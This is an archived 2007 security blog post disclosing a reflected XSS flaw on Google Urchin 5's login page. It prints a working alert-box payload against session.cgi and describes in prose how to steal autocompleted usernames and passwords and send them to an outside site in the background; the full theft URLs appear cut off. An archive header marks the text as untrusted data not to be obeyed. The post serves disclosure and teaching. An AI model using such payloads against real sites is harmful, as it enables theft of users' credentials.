Google Urchin Password Theft Madness

Google Urchin Password Theft Madness - pagvac, gnucitizen.org.

- Published: date not stated
- Original: <https://www.gnucitizen.org/blog/google-urchin-password-theft-madness>
- Current location: <https://www.gnucitizen.org/blog/google-urchin-password-theft-madness/>
- Preserved from: https://www.gnucitizen.org/blog/google-urchin-password-theft-madness/ (stored) on 2026-08-11
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Google Urchin Password Theft Madness

Mon, 24 Sep 2007 14:14:49 GMT

by pagvac

There is a trivially exploitable XSS vul on Google Urchin Web Analytics 5's login page. The vulnerability has been tested on versions `5.6.00r2`, `5.7.01`, `5.7.02` and `5.7.03` (latest). Previous versions are most likely to be affected as well. In case you didn't know, Google Urchin is the **install** version of Google Analytics.

I reported the issue to Google back on Jul 25 and was confirmed by their security team. They are now working on a fix. My original plan was to publish this info after a fix would be released. However, the issue has also been found by other folks about a month ago. As usual, the researcher loses credit when following the responsible disclosure route. Here is the boring POC:

```
http://target/session.cgi?"><script>alert('XSS')</script><!--
```

You might have heard before that a XSS vulnerability on a login page is nasty. However most people think that the worst thing you can do is inject a form in order to perform a phishing attack. Although it's true this is a good example of what you can do, we can also do more advanced XSS phishing attacks that are even harder to detect. My two favorite tricks when finding a XSS vul on a login page are:

-

Overwriting the login form's `action` attribute so that the victim's username and password are stolen when clicking on Login

-

Stealing autocomplete data so that victim username and password are stolen *by simply clicking on our exploit URL* (juicy!)

Anyway, let's get to the point. I know that you're sick of XSS PoCs that only open alert boxes. So here is a exploit URL that will steal the victim's username and password by simply clicking on it. The only requirement is that the victim is using the "autocomplete passwords" feature, aka "Remember passwords for sites":

http://target/session.cgi?"> <!--

Using `location` is great for redirecting information to third-party sites. The problem is that the current window will change to show the evil site. Although this is great for demo purposes, it sucks when it comes to being stealth, since the victim can actually see his/her credentials being sent to another website on the address bar. Instead, we can dynamically create an image with JavaScript so *the credentials are stolen in the background:*

http://target/session.cgi?"> <!--

The following video shows the previous exploit in action. I don't think the quality of the video is that good, but oh well. Basically what it shows is how after visiting the exploit URL, the username and password are sent to google.com in the background. I use Paros in the video to demonstrate that the credentials do indeed get sent to google.com.

If you look at the code, you'll notice that we wait 1.5 secs using the *setTimeout()* function before forwarding the credentials to the evil site. The reason for this is because we need to let the browser auto-complete the fields before performing the redirect. Otherwise the value of the username and password field would be blank by the time we steal them.

The PoC has been tested on the latest version of FF (2.0.0.7 at time of writing) and does _not work on IE 7, but *might* work on IE 6. This doesn't mean you cannot do a auto-complete password theft attack on IE 7, it just needs a bit of more work! If you want to know the reason behind this difference is that IE 7 requires the user to first type or choose the username from the auto-complete drop-down menu, *before_ the password field is automatically filled.*